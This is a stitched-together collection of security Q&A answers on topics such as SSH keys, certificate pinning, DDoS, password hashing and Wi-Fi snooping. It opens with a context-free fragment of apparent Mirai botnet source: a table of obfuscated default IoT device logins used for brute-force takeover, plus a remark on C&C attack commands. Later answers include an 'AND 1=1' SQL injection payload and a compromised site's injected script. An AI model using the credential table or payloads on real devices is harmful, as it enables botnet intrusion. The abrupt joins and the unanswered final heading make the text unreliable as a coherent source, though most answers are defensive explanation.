    add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1);                      // root     system
    add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1);                              // root     ikwb
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1);              // root     dreambox
    add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1);                              // root     user
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1);                  // root     realtek
    add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1);              // root     00000000
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1);              // admin    1111111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1);                      // admin    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1);                      // admin    54321
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1);                  // admin    123456
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin    7ujMko0admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1);                          // admin    pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1);                  // admin    meinsm
    add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1);                              // tech     tech
    add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1);              // mother   f**ker

Communications are not encrypted if you are thinking of SSL. If you are connected to the C&C and able see the traffic stream, the binary stream protocol together with the attack commands will be visible.

Regarding Binary Data
Binary Data is not really about a whole new Level 4 kind of communication. Basically sending and receiving binary data is more about the start and the finish. How do you start the sending and interpret at the end point. Again as said in the comments; Pipes and sockets communicate binary data across just the same as text data.

Some links for your reference

Mozilla Article on Sending and Reading Binary Data

Typed Array Guide


How does Square Reader comply with EMV pin entry requirements?

From what I have seen of the device, your description of the Square Reader and it's operation is spot on. The requirement for a pin pad to be tamper evident is however no longer required.

The update was published here on May 2015:
http://www.emvco.com/download_agreement.aspx?id=1113

And contains the following excerpt:
"remove a requirement for PIN Pads to be tamper evident, since PIN Pad security is addressed by individual payment systems."

That being said, the actual update to Book 2 section 11.1 without knowledge of the intent statement above, still does not make it clear what is required in my opinion.


Can public keys be a security risk when performing password-less SSH logins?

The values in .ssh/authorized_keys are public keys -- these are mathematical objects, each of them being linked with another mathematical object called the private key. When the nagios server connects to one of the monitored servers, it uses its private key: the nagios server demonstrates its knowledge of the private key through a mathematical operation (a digital signature), which the target server verifies using the corresponding public key.

The magic of the construction is that the public key can be made public: although the private and public key share a common structure, that structure is "hidden" and cannot be rebuilt from the public key alone (here, "cannot" means "you would need a computer bigger than the whole state of Wyoming, and programmed by Chuck Norris").

So, to log into the target servers, you do not need to grab the public key, but the private key -- and that one never leaves the entrails of the nagios server.

(On the other hand, if you can get a read access to the nagios server, e.g. you can have a look at a backup tape, then you may get the private key, and access all the servers. Attacker's Nirvāṇa. That can be a serious security issue: protect your backups !)


What security controls should be in the API Gateway and what in the webservices?

An API Gateway is responsible for managing the public interface presented to external customers. It should handle low level issues like:

protocol compliance
blacklisting
rate limiting
quotas
versioning
request normalization

It can interface with:

a discovery system to know which internal web services should handle what public endpoints
a routing system to know how to translate public routes to internal routes
an authorization system to know how to translate external API tokens to internal authorization credentials, so that individual web services don't have to repeatedly ask for those themselves.

In short it should handle common issues across the public surface area of API. It should not have any knowledge of the specific business logic details of a particular web service or a particular route.

Individual web services need to validate their own inputs. Only individual services know what parameters are valid and what types those parameters can assume. However, if the web services use JSON payloads, the API Gateway can do basic JSON validation and perhaps even check payloads against JSON Schemas for them on a per-URL basis.

An API Gateway can handle authentication, as it usually can be connected to an Identity Provider, has knowledge of various authentication protocols, and can be configured to provision authorization tokens. Though often folks have their own authentication schemes and workflows that go beyond what an API Gateway provides out of the box.

An API Gateway should certainly validate authorization tokens provided by external callers, and should help simplify some aspects of access control that individual web services face by enhancing payloads with roles or rights the authorization token is entitled to. But individual services are still responsible for granular checks of those roles, and business logic security.

An API Gateway is often configured at the edge or in a DMZ, as it faces untrusted traffic and has a responsibility to transform it into a more syntactically normalized form. Web services are still responsible for semantics.

If an HTML-generating web application consumes APIs, there is a policy decision about whether that application consumes only public-facing APIs, or also can consume internal APIs directly from internal web services. There are pros and cons to both sides. The architecture emerges from that decision.


Idea for an encrypted pastebin NON-web application

I am a member of the thought police in a dystopian police state and I can eavesdrop on all internet traffic.

Through my detective work I have found out that Bob is a thought-criminal. But Bob is outside of my grasp.
I noticed that Bob used your program to upload several cyphertexts with the salts S1, S2 and S3 to your server.
I also noticed that Alice, Charlie and Dora requested the cyphertexts with the salts S1, S2 and S3 from your server.

Do I know what's the content of those messages? Not yet, but when I detain all three and interrogate them for a while, then one of them will surely crack. Do I even care? Actually, I don't. Associating with Bob is reason enough to convict them for treason.

How could you make my job harder?

Use TLS with forward secrecy for the communication between server and clients. That way I only know who uses your service and when, but not which message exactly they uploaded/downloaded. When the number of non-treasonous files is much larger than the number of treasonous files, then arresting all your users just in case would be unfeasible (we only have so many interrogation rooms, and our economy can't afford to lock up too many of our work drones at once). Caveat: When I manage to seize your server I can eavesdrop on your users again.

You could also make your client request a lot of random (but valid) files the user didn't request and doesn't even have the password for. That way you can obfuscate the communication network of your users and force me to waste my time with detaining a lot of random people who don't know anything.

But if you really want to give me a headache, get rid of your central server and switch to a distributed architecture like Freenet where all data is distributed over the client-network and nobody knows which client holds which documents (not even the clients themselves). But such a drastic architecture change would send you back to the drawing board to redesign your protocol from scratch.


Port Knock logs suggest machine has been compromised?

Your port knocking idea basically works by advancing from one port knocking stage to the next whenever the same client IP sends a TCP packet to the secret port of the new stage within 15 seconds of moving into the last stage.

Note that there is no penalty for wrong guesses and there is no rate limiting for guesses (the limit of avg 5/min only applies to correct guesses). This means all an attacker has to do in order to advance from one stage to the next is to scan all ports on your machine within 15 seconds, a task which can be easily achieved when using raw sockets (i.e. not waiting for the TCP handshake to complete).

  is it safe to assume the attacker knows the sequence because the machine is compromised and he gets the information everytime I change it?

Based on the information you've provided so far, one cannot claim this. I suggest that you look for failed or successful authentication attempts from this specific IP address to see if somebody actually tried to login (and maybe succeeded) instead of only doing port scanning and just accidentally triggered your port knocking rules. Also note that if the machine is really and deeply compromised you should not trust your local logs since the attacker might have changed these.

Apart from that:

  There are no logs for any other port, nor any other probe whatsoever

Based on the rules you show you log only if the port matches, i.e. there are no other logs expected.


Why isn't it possible for a third party to decrypt HTTPS traffic?

Well, in the real world it actually is possible to perform a man in the middle attack on SSL, called ssl stripping. This is the easiest example. It hinges on the fact that the majority of traversal to HTTPS pages happens as the result of a redirect from an insecure plain HTTP.

This is the type of a attack you are describing when you ask if it would be possible to decrypt a packet just like a client - the answer is yes, by putting yourself in between the client and server and negotiating your own SSL connection with each of them. while this attack is old and easy to mitigate, it's still very dangerous and direct. Here's the talk where the attack was first presented - http://vimeo.com/50018478

A different form of MITM attack but just an example of how these kind of attacks can effect me and you: https://productforums.google.com/forum/#!topic/gmail/3J3r2JqFNTw/discussion and http://googleonlinesecurity.blogspot.co.uk/2011/08/update-on-attempted-man-in-middle.html

There are also a whole suite of attacks at the different components that make up TLS/SSL, such as the RC4 stream cipher. More here: https://www.isecpartners.com/media/106031/ssl_attacks_survey.pdf

EDIT: for an excellent technical description of how SSL actually works, which puts all my above post in context, see here: How does SSL/TLS work?

EDIT: Above where i said it was possible to mitigate MITM against SSL, i didnt give a resource, making that a bad answer :( See here for more details on how SSL can be made more robust: What is certificate pinning?

FINAL EDIT: This is also an excellent answer to your original question https://stackoverflow.com/questions/14907581/ssl-and-man-in-the-middle-misunderstanding


does switching to linux remove existing computer virus

Some infections actually target your firmware (e.g. BIOS) which makes them difficult to remove or avoid.

But typically, yes. The virus is obviously still there where you left it on your Windows drive or partition. The files don't get removed unless you delete them.

But if you're running Linux, then none of your windows software will execute, which includes any malware.


is sending SQL query operators in HTTP GET requests is some kind of security issue?

AND 1=1 is a common SQL Injection payload to select all results of an SQL query since it always evaluates to true.

It being sent along with the URL can be for numerous reasons, but it might be an indicator for an SQL Injection vulnerability if the URL parameter is directly fed into an SQL statement and is not properly sanitized beforehand.


Is safe to store passwords in Android/iOS App own storage?

OWASP, an org that provides guidance to app developers, has a few reference material:

The original Mobile Top Ten 2012 Insecure Data Storage reference -- https://www.owasp.org/index.php/Mobile_Top_10_2012-M1
The updated Mobile Top Ten 2014 Insecure Data Storage reference -- https://www.owasp.org/index.php/Mobile_Top_10_2014-M2
An iOS Developers Cheat Sheet which makes specific suggestions about where to store what types of data, when it is required of an app's functional tasks -- https://www.owasp.org/index.php/IOS_Developer_Cheat_Sheet#Insecure_Data_Storage_.28M1.29

For Android, I might suggest using secure-preferences instead of the Shared Preferences you suggested, or perhaps cwac-prefs. Check out examples of these in the book Android Security Cookbook.

On iOS, be sure to read the iOS Application Security book, which recommends Lockbox to store data in the Keychain, as well as methods to add and remove credentials. If you're building an iOS mobile app, this book is highly-recommended.

If you don't like or for some reason can't use Lockbox (or just want to try different options), then check out this idea from the book, Mobile Application Penetration Testing:

  Utilize the different options provided by Apple, as we learned in the
  section Keychain data protection in Chapter 2, Snooping Around the
  Architecture. You can also utilize one of the simple wrapper
  PDKeyChainBindingController
  (https://github.com/carlbrown/PDKeychainBindingsController) to secure
  the keychain data. However, if the device is jailbroken then keychain
  information is not secure. It is recommended to use custom encryption
  techniques to encrypt the string that is stored in the keychain. Make
  the best use of the keychain services API
  (https://developer.apple.com/library/mac/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html).

The book also covers another issue related to credential storage in the Keychain:

  On June 18, 2015, a password stealing vulnerability, also known as
  XARA (Cross Application Resource Attack), outlined for iOS and OS X
  cracked the Keychain services on jail broken and non-jail broken
  devices. The vulnerability is similar to the cross-site request
  forgery attack in web applications. In spite of Apple's isolation
  protection and its App Store's security vetting, it was possible to
  circumvent the security controls mechanism. It clearly provided the
  need to protect the cross-app mechanism between the operating system
  and the app developer. Apple rolled out a security update week after
  the XARA research. More information can be found at
  http://www.theregister.co.uk/2015/06/17/apple_hosed_boffins_drop_0day_mac_ios_research_blitzkrieg/

and provides details on the Keychain itself, should one utilize a jailbroken device to attempt to get access to it

  Keychain in an iOS device is used to securely store sensitive
  information such as credentials, such as usernames, passwords,
  authentication tokens for different applications, and so on, along
  with connectivity (Wi-Fi/VPN) credentials and so on. It is located on
  iOS devices as an encrypted SQLite database file located at
  /private/var/Keychains/keychain-2.db


Is it safe to store the password hash in a cookie and use it for "remember-me" login?

No, this is not safe

You should generate a long random number and store it in a cookie. This random number is essentially just another password for this user. So, on the serverside, you only store a  properly salted hash of this random number.

You should only give out each number once and it should only be valid for 1 login. So allow for more than one of those hashes for each user. Upon successfully logging in, generate a new random number, give the new number in the cookie you give it to your user and store the (salted) hash of this number on the server side.

(On a side note, MD5 is not deemed good enough anymore for password hashing and a salt should be random; a timestamp is not random enough. Search for password storage here for more information on that.)


Are Extended Validation certificates any more secure than regular ones?

That EV certificates are "more secure" is definitely the message that the EV-Qualified CA are trying to assert -- this is how they justify that the EV certificates have higher prices. Whether EV certificates really improve the security situation is debatable. See for instance this criticism from Peter Gutmann (quoted on the Wikipedia page):

The introduction ... of so-called high-assurance or extended validation (EV) certificates that allow CAs to charge more for them than standard ones, is simply a case of rounding up twice the usual number of suspects - presumably somebody’s going to be impressed by it, but the effect on phishing is minimal since it’s not fixing any problem that the phishers are exploiting. Indeed, cynics would say that this was exactly the problem that certificates and CAs were supposed to solve in the first place, and that “high-assurance” certificates are just a way of charging a second time for an existing service. A few years ago certificates still cost several hundred dollars, but now that the shifting baseline of certificate prices and quality has moved to the point where you can get them for $9.95 (or even for nothing at all) the big commercial CAs have had to reinvent themselves by defining a new standard and convincing the market to go back to the prices paid in the good old days.
This deja-vu-all-over-again approach can be seen by examining Verisign’s certificate practice statement (CPS), the document that governs its certificate issuance. The security requirements in the EV-certificate 2008 CPS are (except for minor differences in the legalese used to express them) practically identical to the requirements for Class 3 certificates listed in Verisign’s version 1.0 CPS from 1996. EV certificates simply roll back the clock to the approach that had already failed the first time it was tried in 1996, resetting the shifting baseline and charging 1996 prices as a side-effect. There have even been proposals for a kind of sliding window approach to certificate value in which, as the inevitable race to the bottom cheapens the effective value of established classes of certificates, they’re regarded as less and less effective by the software that uses them...

The theory is that EV certificates are issued only after more thorough verification of the requester identity, so EV certificates should be safer in the following sense: it is harder to get a fake one. On the other hand, it seems that existing attackers don't really bother obtaining fake SSL certificates anyway, so the increase in safety is, indeed, theoretical.
In practice, the need for an EV certificate (as opposed to a non-EV certificate) for your server does not come from a real need for security, but from a real need for a green bar. It is all about convincing customers that spending their money on your site is "safe".


Expecting backdoors is a bit strong...

There are several strong arguments against the plausibility of such backdoors:

Linux is used by a lot of people, including US corporations. A big part of the mandate of modern security agencies is to protect the interests of their country. In particular, the NSA shall, as much as possible, protect US corporations against spying from foreign competitors. Putting a backdoor in Linux implies the risk of allowing "bad people" (from the NSA point of view) to spy on US corporations through this backdoor.
Linux is open-source and the kernel is believed to be under rather thorough scrutiny from competent programmers. This is the "many eyes" theory. SELinux is right in the middle of all this inspection. Whether the "many eyes" theory actually holds is debatable (and debated). However, there are people who do PhD theses on SELinux, so it is not preposterous to assume that this particular piece of code was thoroughly investigated.
Any patch committed into the Linux kernel is followed through revision control. SELinux comes from the NSA and is tagged as such. If a backdoor was inserted and then subsequently discovered, it would be easy to track it back to the apparent author. A very basic protection measure is to not do such things in your own name ! If I were the NSA, I would first build up a virtual persona who is not associated with the NSA, so that even if he gets caught pushing backdoors, this will not incriminate my organization. Spy agencies know a lot about spy network segmentation. It would be singularly dumb of them to inject backdoors in their own name.

There is also a strong argument for the existence of such backdoors:

Spying on a lot of people and organizations is the core business of the NSA.

Honestly, until you find the corpse (i.e. the backdoor itself), your question is unanswerable. It is a matter of many parameters which can only be know through subjective estimates...

(Personally, I still find that backdoors in PRNG, especially hardware PRNG, are much more plausible than backdoors "hidden in plain sight".)


Why would image resources loaded from different origins triggering HTTP authentication dialogs be harmful?

As outlined in the bug report, the issue is that an authentication dialog shows up on trustworthy.com, so oblivious users (and let's be honest, many users who pay attention as well) will type in their username and password, not realizing they're actually sending it to malicious.com. Combine this with a very similar looking domain (e.g. trustw0rthy.com), and the only reason a user wouldn't give away their credentials is because they've never seen trustworthy.com use Basic Auth before and it made them suspicious.

As an example:

Let's say your online banking at bank.com requires you to log in via Basic Auth. Now the attack would work like this:

An attacker manages to embed his image, served from malicious.com,  somewhere in bank.com where the user (you) will load the image.
You load the page on bank.com that embeds the attacker's image, and the browser pops up a Basic Auth dialog.
You type in your username and password for bank.com, believing the site is asking you to log in, but the browser will send them to malicious.com instead.


Certificate Pinning Best Practice or Alternative

You have a couple of options on what to pin. Depending on which one you chose offers you different trade-offs. Here are some typical pins:
Pin the certificate itself
Yes, you will need to change it when the certificate expires. Most secure but quickly causes availability issues if users don't update often enough.
Pin the public key of the certificate
This allows you to keep the pin unchanged as long as your public key stays the same. You use the same public-key with a new certificate. While it is theoretically a bit less secure, I would put it on the same security level as the previous. If you lose the private key, both setups need app updates.
Pin an intermediate certificate
Here you have two choices again, pin the cert itself or the public key. These certificates have more extended validity periods considerably. You expose yourself a bit more, as the CA can create new certificates that your app would trust.
Pin the root certificate
Again, two options: cert or public key pin. This binds you to a CA, which still increases security; an attacker can't just use any trusted root to fool your app. While this is the least secure of the options, I think it is still a lot better than not pinning at all.
One thing to consider is always to have multiple pins! If you pin your certificate, make sure to have at least two and pin both, so you can immediately jump to the other if you lose one. If you pin something else on the trust chain, be sure to pin all of the CA's possible certificates.
In general, I would go for pinning the CA's root certificate's public key. This balances security and maintenance. Consider your threat model and chose accordingly.
You can find a bit more information about this at OWASP's Certificate and Public Key Pinning


As you correctly stated, if the user has control over her device, it is not possible to stop cheating. She can monitor the GPS input, reverse-engine the code, identify encryption (if any) and send the request accordingly.

Obfuscation is questionable, it may slow down (but wont stop) the attacker. You will hurt your own debugging capabilities and clean design.

The proper design is the following: send the request in clear text for your API, but sign it. Your API should reject all requests which is signed incorrectly. Just add one more parameter field to your api, which contains the signature.

You can use your own PKI or simple hash generation (if performance is an issue). Of course, the attacker can still reverse-engine the signature algo, but let's suppose she hasn't got the skill.

Edit: I suggest you to include timestamp to the API to prevent replay attack. (Of course the timestamp should be digitally signed along with the rest of the data). This way your users can not save location URL strings and manually replay it when they are not at that area. Without timestamps they could do that regardless of the use of encryption.


What's the difference between mitm attack and sniffing?

Typically, an eavesdropper (sniffer) will be passive -- that is they will not modify the traffic.

Man-in-the-middle (MiTM) attacks usually imply an active adversary -- one who will change the contents of the message before passing it on.

The two are not entirely distinct, as a MiTM may use their active attack to read the contents of messages, or simply to disrupt communications.


When will the webbrowsers have TLS 1.2 support?

Lance - this is not really an on-topic question for here, as it comes down to "whenever the browser developers implement it" so this may get closed by the community.
In saying that, a quick google shows that some already have it enabled. the ISC Diary had this in September:

The TLS support for browsers right now is:

IE9 TLS 1.0, 1.1, 1.2 all supported via Schannel
IE8 TLS 1.0 supported by default, 1.1 and 1.2 can be configured
Opera - 10.x supports TLS 1.0, 1.1, 1.2

I don't count older versions of any of these browsers, since people really
should have auto-update on. if they don't they've probably got bigger
problems ( http://isc.sans.edu/diary.html?storyid=11527 )

Mozilla/Firefox - TLS 1.0 only
Chrome - TLS 1.0 only (though an update is rumoured)
Safari - TLS 1.0
Cell phones - various support levels (webkit has tls 1.2 since Nov 2010, but for
individual phone browser implementations your mileage may vary)


is the hash of a hash of a password, equally or more safe than hashing just once?

You are correct that an increased number of hash iterations improves security, but is certainly not a silver bullet.

As @Marc says, you should assume the attacker knows the number of iterations, so you don't get any security there. Where you do gain, is by increasing the cost of the attack. If you're using a large number of iterations of a big slow password hashing function like argon2, scrypt or the older pbkdf2, then each guess will be more expensive in terms of CPU time and electricity costs.

The attack is still feasible, but it becomes expensive, like $50,000 USD of compute time on AWS kind of expensive, so you're forcing to ask "is the value of what I can steal with this password high enough to balance out the costs of the attack?

(As @Marc also says, this answer assumes you're doing proper salting, otherwise rainbow tables can be used and the attack becomes much cheaper).


Is it possible to have a protocol that sits on top of TCP/IP that encrypts packets?

What you're asking already exists, and you're already using it.

SSL/TLS can be used as a wrapper around TCP/IP.

As you've pointed out, it won't hide who you're communicating with or when. But it hides the information that you're sending, and has some protection against man-in-the-middle attacks.

But, you'll never solve wiretapping entirely. There will always be flaws in the implementation, or keyloggers, or other ways to get at the information users are sending.


Are encrypted files safe in Windows 10 when using PINs?

The Hello PIN is only usable on systems with a TPM, and is tied to that TPM.  Most likely, a high-security secret is stored in the TPM, and the PIN is presented to the TPM to unlock the secret.  TPMs typically allow a finite (and relatively small: 3-10 is typical) of tries to access the data before it is destroyed/reset/overwritten.  Unless someone chooses '1234' or their birthday as their PIN (in which case an attacker is likely to guess these early on), this effectively blocks any attempts to brute force the PIN.

Even if the drive is removed from the device, the data would be encrypted with a high-entropy key stored in the TPM, making it impossible for an attacker to recover the data.  (This does make me wonder about data recovery on such a device.  I assume there is still a "normal" password that can be used as an alternate to the TPM secret, but I am not sure.)


How do you log in from an unsecured computer?

Some very good answers already. Here is what I think the best options are, in order of preference.

Don't do it.
Don't do it.
Don't do it. An untrusted machine can do anything. What if you login to online banking with a one time password, and malware immediately initiates a wire transfer?
Only use systems with one-time-passwords (per Thomas Pornin).
Only use systems with 2 or more factor auth (per naw)
Use KeePass with Two-Channel Auto-Type Obfuscation (per naw), AND change passwords immediately afterwards (within minutes if at all possible).

I find a great option is to say something like "Sorry, I only store my passwords in KeePass, and I don't have them with me". This can lead nicely into a discussion about good password practices - and that way you've helped educate some people about doing the right thing, without sounding like a paranoid ass :)


Is it possible to disable `ypcat passwd`

You can upgrade to NIS+, but that's sort of an epic definition of "interim hack."

No, plain old NIS does not support any protection for the password hashes it distributes.

(and before someone suggests removing or chmod'ing ypcat, you'd have to disable every programming language on the system as well.  Writing a ypcat clone is trivial, see Python for example.)


Can someone read my E-Mail if I lose ownership of my domain?

Now if someone buys the domain and creates a mx record pointing to the his own mail server he can read all my confidential emails the people are sending me right?

If they register the domain name, they will receive all email being sent to it from that point on. They will not have retroactive access to previously sent emails. There is nothing to fundamentally prevent this.

  Are there ways to prevent that or is the only option I have is to pay for the domain until I die?

You can request that all contacts to you encrypt their communications with PGP using your public key, which will prevent anyone who obtains the domain later from reading new messages, but it requires people actually use PGP, which may not be likely if you are distributing the address to average people in a business card. However, if you maintain or at least renew the domain for, say, 20 years, then what are the chances that anyone is going to seriously send an email to such an ancient address?

I asked the question on the Law Stack Exchange whether or not there would be any legal recourse to someone using your domain, and the answer was no: https://law.stackexchange.com/q/35917/15724


UEFI and security implications for encryption

If you're asking if UEFI add additional attack vectors against TrueCrypt vs. a non-UEFI BIOS, the answer is probably no. Running TrueCrypt on a UEFI-enabled computer with the UEFI code signing turned off is no less secure that a computer without UEFI.


As far as I know you cannot simply use your Mac as an USB keyboard. Emulating such keyboard is not a software-only problem but the hardware must be usable as USB gadget which is usually not the case with common PC hardware where all  accessible USB interfaces are behind an internal USB hub.

But, USB gadget interface is supported by systems like Rasperry Zero and similar projects (Orange Pi Zero etc). Using such systems it is possible to make the hardware behave like an USB keyboard and once you have this it is more or less sending different key combinations to the device in order to unlock it. This can be done with a short script as shown here.


The main disadvantage of RBAC is what is most often called the 'role explosion': due to the increasing number of different (real world) roles (sometimes differences are only very minor) you need an increasing number of (RBAC) roles to properly encapsulate the permissions (a permission in RBAC is an action/operation on an object/entity). Managing all those roles can become a complex affair.

Because of the abstraction choices that form the foundation of RBAC, it is also not very well suited to manage individual rights, but this is typically deemed less of a problem.

The typically proposed alternative is ABAC (Attribute Based Access Control). ABAC has no roles, hence no role explosion. Yet, with ABAC, you get what people now call an 'attribute explosion'. The two issues are different in the details, but largely the same on a more abstract level. (A cynic might point to the market saturation for RBAC solutions and the resulting need for a 'newer' and 'better' access control solution, but that's another discussion.)


Imagine a shopping mall. By definition, anybody can enter the mall and then browse the shops. It is public. The shops are expecting people to come by, look at the displays, maybe enter and then buy things.

In the mall, there is a shopkeeper, who sells, say, computers. Let's call him Jim. He wants people to come by and see the computers and be enticed into buying them. Jim is the nice guy in our story.

Let there be Bob. Bob is a disgruntled nihilist who hates Jim. Bob would go to great lengths to make Jim unhappy, e.g. disrupting Jim's business. Bob does not have many friends, but he is smart, in his own twisted way. One day, Bob spends some money to make the local newspaper publish an ad; the ad states, in big fonts and vivid colours, that Jim runs a great promotion at the occasion of his shop's tenth birthday: the first one hundred customers who enter the shop will receive a free iPad. In order to cover his tracks, Bob performs his dealings with the newspaper under the pseudonym of "bob" (which is his name, but spelled backwards).

The next day, of course, the poor Jim is submerged by people who want a free iPad. The crowd clogs Jim's shop but also a substantial part of the mall, which becomes full of disappointed persons who begin to understand that there is no such thing as a free iPad. Their negativeness makes them unlikely to buy anything else, and in any way they cannot move because of the press of the crowd, so business in the mall stops altogether. Jim becomes highly unpopular, with the ex-iPad-cravers, but also with his shopkeeper colleagues. Bob sniggers.

At this point, Jim contacts the mall manager Sarah. Sarah decides to handle the emergency by calling the firemen. The firemen come with their shining helmets, flashing trucks, screaming sirens and sharp axes, and soon convince the crowd to disperse. Then, Sarah calls her friend Gunther. Gunther is a son of German immigrants, a pure product of the US Melting Pot, but more importantly he is a FBI agent, in charge of the issue. Gunther is smart, in his own twisted way. He contacts the newspaper, and is first puzzled, but then has an intuitive revelation: ah-HA! "bob" is just "Bob" spelled backwards ! Gunther promptly proceeds to arrest Bob and send him meet his grim but legal fate before the county Judge.

Finally, in order to avoid further issues with other nihilists who would not be sufficiently deterred by the vision of Bob's dismembered corpse put on display in front of the mall, Sarah devises a mitigation measure: she hires Henry and Herbert, two mean-looking muscular young men, and posts them at the mall entries. Henry and Herbert are responsible for blocking access should a large number of people try to come in, beyond a given threshold. If a proto-Bob strikes again, this will allow the management of the problem on the outside, in the parking lot, where space is not lacking and crowd control much easier.

Morality: a DDoS cannot be prevented, but its consequences can be mitigated by putting proactive measures, and perpetrators might be deterred through the usual, historically-approved display of muscle from law enforcement agencies. If botnets become too easy to rent, predictable consequences include increased police involvement, proactive authentication of users at infrastructure level, shutting off of the most disreputable parts of the network (in particular Internet access for the less cooperative countries), and a heavy dose of disgruntlement and sadness at the loss of a past, more civilized age.


Compromised server redirecting only requests from Google

The short answer. Yes, this kind of conditional redirection based upon the referer is routine.

Details. I have typically seen this implemented by putting some Javascript on the page to check the document.referrer.  I hadn't previously seen it implemented in the Apache server configuration, but this is a natural evolution of the existing practice, so it is not too surprising to me.

More information. SANS has an excellent article on the subject and on how to protect yourself.  One suggestion is to set up a standing Google search, limited to your site (site:yoursite.com) and listing some keywords that attackers might introduce, and see if it spots anything.  That wouldn't have detected the particular attack you mention, but it would help with related attacks.  See the article for a suggested Google Alert you can use.

Reporting malicious sites. For future reference, you can report malicious/compromised web sites to Google and Microsoft via various online web forms, to protect other users who may try to browse to those sites in the future.  I took the liberty of reporting both sites to Google, but you may want to do the same, too, and report it to Microsoft as well if you use IE.  I can't seem to download the .exe file any longer, but if you saved the .exe, you can also report it online to various anti-virus vendors.

Sample exploit code. For instance, here is an example snippet from a compromised website (real live code, not made up):

<script type="text/javascript">
if(document.referrer.toUpperCase().indexOf("CIALIS") != -1)
{
    document.getElementById('hMenu').innerHTML = "<h1
    align=\"center\">Cialis 10mg</h1> [...] ";
}
</script>

In your case, the attack seems to be done by compromising the Apache configuration or installation rather than by inserting Javascript on the page, but I thought you might find this interesting anyway.


2048 bit SSH RSA public key vs AWS KMS-encrypted text in source control

which is harder: finding the private key from the public key, or decrypting the 40 character string? How different would this be if the SSH key were 4096 bits?

I believe you are asking the wrong question. Mandatory XKCD:

For all practical purposes, hacks are the result of hackers getting root access to the server or data due to weak passwords or unpatched software. It's almost never the case that the crypto gets broken.

The question you should be asking is: which method has more risk of revealing the data through  server compromise, insider threat, or some careless accident? ie Which of the following do you have higher trust in remaining secure?

a blob of data that can only be decrypted by AWS KMS, or
a private key file stored < where ever you've stored your private key >

AWS KMS is generally a good solution, unless your AWS account has many admins, or you're concerned about AWS employees having access, or the data being protected by that key has legal data-residency concerns, etc.


It will depend on the specific implementation of the specific product and the specific message traffic.

Data Loss Prevention tools tend to work in one of two ways: they sit on the network and look at logs, read emails, read file shares; or they are installed as a desktop agent which, the vendors assert, has full access to every keystroke, window, file and memory object.  DLP vendors, IMHO, like to assert much.  The network DLP products may require that the end user organisation tags data of interest.  The product then uses its magic unicorn to identify all those documents with that tag.  The agent-based products will know what files are being touched and can therefore assign a risk weighting to actions and hence report on them via the dashboards that they seem to love.

To read a message then could be as simple as the keystrokes being captured, could be the window being asked to report on its contents, it could be that the tool has the message certs and it implements a MITM as you say.  It could be as simple as reading the message store from the message server.

Regulated institutions such as financial service trading floors may have a requirement to monitor and record all instant messages being used. Many years ago I implemented IMLogic which was an IM compliance tool used by an investment bank as their traders used all the IM clients to have personal calls with external parties. They had a client that intercepted messages and sent them to the server for storage: nothing particularly clever.

The DLP products can only report on what they know: I expect that it would be possible to write your own chat client that they could not inspect if you had full end-to-end encryption.

The only way to be absolutely sure about how a specific vendor monitors a specific chat channel is to ask them.


What is the PKCS#7 detached signature format?

From section 7 of RFC 2315:
    3.   The optional omission of the content field makes
         it possible to construct "external signatures," for
         example, without modification to or replication of the
         content to which the signatures apply. In the case of
         external signatures, the content being signed would be
         omitted from the "inner" encapsulated ContentInfo value
         included in the signed-data content type.

So this "external signature" is a detached signature.


Can other WIFI users see my network traffic?

Yes, if they know what they're doing. See https://www.howtogeek.com/204335/warning-encrypted-wpa2-wi-fi-networks-are-still-vulnerable-to-snooping/ for an assessment of the vulnerabilities for WPA2-PSK (the most common form of encrypted WiFi). If the hotel wifi network uses WEP, that's even easier to crack, and if it doesn't use encryption at all (open Wifi), it's trivial.

The only way to protect yourself is to use a VPN service, so that all of your network traffic is encrypted at your end (regardless of whether you are browsing a news web site or doing Internet banking). This will protect you from someone snooping at the router as well.

Note that it doesn't stop anyone from kicking you off the wifi (via DEAUTH), but at least they won't get any of your data even if they capture the encryption key used between your device and their wifi hotspot.


How to encrypt sensitive user data and transport it between client and server securely?

This seems like an overly complex solution to the problem.  An important thing to remember with cryptography is that even if the cryptosystem is implemented perfectly, if either of the endpoints is compromised, attacker can access the plaintext data.  Your microservice does not need to be made secret, nor does it really need to be made separate from your main web application.  Having it on a separate server really only adds complexity.

The best solution, if the 3rd party APIs allow for it, is to store and use OAuth tokens.  Only store the API tokens/secret if OAuth is not available.

Regarding transmitting the data to the server, you do not need to implement your own encryption in the browser.  Properly implemented SSL will solve the problem of transmitting the key securely.  Consider using Http Public Key Pinning (HPKP).  Be aware of the potential pitfalls of HPKP before you implement it.

Regarding the storage of the tokens, the OAuth/API tokens should be stored in a salted & encrypted column in the database using a symmetric block cipher, the key should be stored in some place outside of the database (to prevent it getting exposed via a SQL injection attack), and the web application/batch job should be able to access that key and decrypt the tokens.   The key you use to encrypt the data will be shared across all of the records, and should not be made available outside of the server that your records are stored on.


How does Google's "No Captcha reCaptcha" work?

